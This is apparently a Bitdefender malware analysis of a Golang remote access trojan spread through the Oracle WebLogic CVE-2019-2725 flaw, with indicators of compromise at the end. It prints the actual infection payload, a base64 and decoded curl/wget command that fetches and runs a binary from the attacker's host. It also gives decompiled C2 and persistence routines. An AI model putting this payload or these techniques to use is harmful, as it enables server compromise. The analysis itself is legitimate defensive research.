There's a New a Golang-written RAT in Town

Anti-Malware Research
5 min read

Silvia PRIPOAE
October 09, 2020

Security researchers at Bitdefender have discovered a new Golang-written RAT that targets devices by using the CVE-2019-2725 (Oracle WebLogic RCE) vulnerability identified last year. Unlike other bots that have exploited this vulnerability, it doesn't try to install a cryptominer or deploy other malware — at least not yet.

Oracle published the details on the CVE-2019-2725 vulnerability in April 2019 but reports of exploits in the wild appeared long before then. In any case, this CVE has a CVSS score of 9.8, which makes it a prime candidate. The only requirement is an exposed Oracle WebLogic Server, and there's an abundance of them accessible online, with no security and still unpatched.

There was a crack, that's how they got in

Some malware tends to use less technical approaches when trying to infect devices, going after open ports and performing brute force attacks with common credentials. That kind of activity works on a vast array of devices, and the bad actors don't really care what they infect, as long as it's working

By contrast, malware like this one works on specific targets running Oracle WebLogic servers. It's a technology not usually on the frontline, so consumers often don't know that it's there or that it even exists. But such servers are widespread, especially since they are part of the cloud, with their ability to run apps for users.

Oracle WebLogic servers are not normally exposed to the online world, but not everyone is careful. When CVE-2019-2725 came out, a rough estimate was that attackers could compromise tens of thousands of unsecured WebLogic servers.

This new campaign is not original when it comes to exploiting this CVE, but it's a new malware still in development, and it could go in any direction.

The infection payload uses the CVE, giving the attacker access:

```
nohup echo
Y3VybCBodHRwOi8vYm94LmNvbmYxZy5jb20vbC9zb2RkL1NlY3VyaXR5Lkd1YXJkIC1vIC90bXAvcHJvYy50b
 | base64 -d | /bin/bash > /dev/null 2>&1 &;
```

The base64 might not look all that impressive, but in text format it becomes clearer:

```
curl http://box.conf1g.com/l/sodd/Security.Guard -o /tmp/proc.tmp || wget -c -t 20
http://box.conf1g.com/l/sodd/Security.Guard -O /tmp/proc.tmp ; chmod 0755
/tmp/proc.tmp ;nohup /tmp/proc.tmp > /dev/null 2>&1 &
```

This particular version was designed to work on Linux and on x86 architecture, but the fact that the RAT is developed in Golang lets the attacker easily compile versions for other operating systems and architectures.

A RAT enters a server…

As the payload shows, the malware comes with two-Golang-written binaries, '`Security.Guard`' and '`Security.Script'`, compiled for x86. The first one packed with UPX (an open-source executable packer with support for numerous OSes).

Here's a more detailed description of the functions:

Package main: `C:/Go/Guard/src/Main`
File: `GuardMain.go`

```
init Lines: 30 to 32 (2)
LoadEnv Lines: 80 to 95 (15)
ReceiveSignal Lines: 95 to 109 (14)
init0 Lines: 109 to 138 (29)
InstallStartUp Lines: 138 to 168 (30)
copyToFile Lines: 168 to 197 (29)
ChangeSelfTime Lines: 197 to 207 (10)
ExecShell Lines: 207 to 217 (10)
Download Lines: 217 to 249 (32)
GetVersion Lines: 249 to 291 (42)
killLockFile Lines: 291 to 302 (11)
killRepeat Lines: 302 to 337 (35)
run Lines: 337 to 437 (100)
IsDir Lines: 437 to 448 (11)
GuardProc Lines: 448 to 479 (31)
Md5Sum Lines: 479 to 495 (16)
Update Lines: 495 to 523 (28)
main Lines: 523 to 527 (4)
mainfunc1 Lines: 527 to 537 (10)
```

Package main: `C:/Users/john/Desktop/NiuB/Linux&C#/src/Linux/Main`
File: `Main.go`

```
init0 Lines: 54 to 71 (17)
main Lines: 71 to 125 (54)
ReceiveSignal Lines: 125 to 141 (16)
MakeOnlineInfo Lines: 141 to 176 (35)
Encrypt Lines: 176 to 186 (10)
Md5Sum Lines: 186 to 202 (16)
killLockFile Lines: 202 to 217 (15)
killRepeat Lines: 217 to 246 (29)
MakeUUID Lines: 246 to 268 (22)
GetOsInfo Lines: 268 to 308 (40)
GetIPs Lines: 308 to 343 (35)
InitStart Lines: 343 to 351 (8)
Download Lines: 351 to 387 (36)
ExecShell Lines: 387 to 400 (13)
ChangeSelfTime Lines: 400 to 411 (11)
SetTimeOut Lines: 411 to 418 (7)
MsgProcess Lines: 418 to 444 (26)
```

The ‘ `Security.Guard` ‘ binary has three jobs: downloading the RAT, initializing it and making sure it stays operational. It remains present after the infection as it monitors for version changes by interrogating an URL of on the hosting server (` `l/sodd/ver` ‘), from which it parses two md5 values. If these hashes differ from the one of the Guard and RAT, the binaries are updated and restarted.

Interestingly, both the Guard and the RAT enforce the singleton property, which means that only a single instance of the malware can run on the device. The malware uses two methods to remain the only one. First, it stores the PID in a ‘lock file,’ allowing it to kill a new identical process. Second, it checks running process to identify other instances of the same malware.

```
void __usercall main_killLockFile()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( &retaddr <= *(*(__readgsdword(0) - 4) + 8) )
    runtime_morestack_noctxt();
  io_ioutil_ReadFile("./.nginx.lockfile", 17, v4, v7, v13, v19, v24);
  v0 = v8;
  v1 = v20;
  if...
  if ( !v1 )
  {
    runtime_slicebytetostring(v28, v3, v0, v2, v14, v20);
    runtime_concatstring2(0, "kill -9 ", 8, v18, v23, v23, v25);
    main_ExecShell(v20, v25, v6, v12);
  }
  syscall_rawSyscallNoError(__NR_getpid, 0, 0, 0, v14, v20);
  strconv_FormatInt(v15, v15 >> 31, 10, v9, v15);
  runtime_stringtoslicebyte(v27, v10, v16, v10, v16, v21);
  io_ioutil_WriteFile("./.nginx.lockfile", 17, v11, v17, v22, 384, v25, v26);
  main_ChangeSelfTime("./.nginx.lockfile", 17, 0, 0);
}
```

Additionally, the Guard uses the same process-iterating code to check that the RAT is running, and restarts it otherwise. To identify the process, the routine performs md5 hashes on the ‘ `/proc/<PID>/exe` ‘ file for each process and compares it with the known hash of the RAT binary.

Of course, the malware also uses an evasion technique. The timestamps of all created files are set in the past, using one of the following two rules:

```
* `2012-12-21 12:31:09`
* `2018-10-11 18:52:46`
```

The malware wouldn’t be complete without achieving persistence and surviving reboot. The Guard runs a persistence script that plants a startup script in a location that depends on the Linux distribution. In this case, the script supports CentOS, Ubuntu and Debian.

Leaving the door open for intruders

The RAT connects to the C2, sending a check-in message containing fingerprinting information for the system, then listens for commands. The data sent back to the operators includes the hardware of the devices, the OS and the IP. Communication with the C2 is encrypted using a simple XOR cipher with key 0x86.

```
if ( &retaddr > *(*(__readgsdword(0) - 4) + 8) )
{
  while ( 1 )
  {
    net_DialTimeout("tcp", 3, "log.conf1g.com:53", 17, 0xFC23AC00, 6, v0, v1, v2, v3);
    if ( !v2 || (net_DialTimeout("tcp", 3, "185.234.218.247:53", 18, 0xFC23AC00, 6, v0, v1, v2, v3), !v2) )
      main_MsgProcess(v0, v1);
    time_Sleep(705032704, 1);
  }
}
```

It comes with support for just two commands, but offers attackers a wide range of possibilities:

- COMMAND (execute shell commands)
- DOWNLOAD (download and run binary)

This RAT appears to be connected with the PowerGhost campaign reported last year. The two share the hosting server, the URIs and part of the code from the bash scripts.

Although the payloads propagated through CVE-2019-2725 are hosted at different URIs, ‘ `l/sodd/syn` ‘ and ‘ `l/sodd/udp` ‘ were included in past reports, now host a version of ‘ `Security.Guard` ’ as well.

The persistence script retains part of the payloads reported last year. Although the newer campaign lacks lateral movement and privilege escalation capabilities, the Golang malware appears to be in an early phase of development. Even so, the fact that it lets attackers download and run any binary they choose should be worrisome enough.

Indicators of compromise

URLs:

hxxp://box.conf1g.com/l/sodd/Security.Guard hxxp://box.conf1g.com/l/sodd/Security.Script hxxp://box.conf1g.com/l/sodd/ver

C2:

log.conf1g[.]com:53

IPs:

185.128.41[.]90 185.234.218[.]247

Hashes:

e457b6f24ea5d3f2b5242074f806ecffad9ab207
add4db43896f65d096631bd68aa0d1889a5ff012
5b2275e439f1ffe5d321f0275711a7480ec2ac90
fc594723788c545fae34031ab6abe1e0a727add4
26a70988bd873e05018019b4d3ef978a08475771

Filenames:

/var/tmp/…/.esd-644/auditd /bin/.securetty/.esd-644/auditd /usr/sbin/abrtd devkit-power-daemon .nginx.lockfile .httpd.lockfile .1e8247d9f7f3f4fe8f1c097094d7ff08

TAGS

anti-malware research

AUTHOR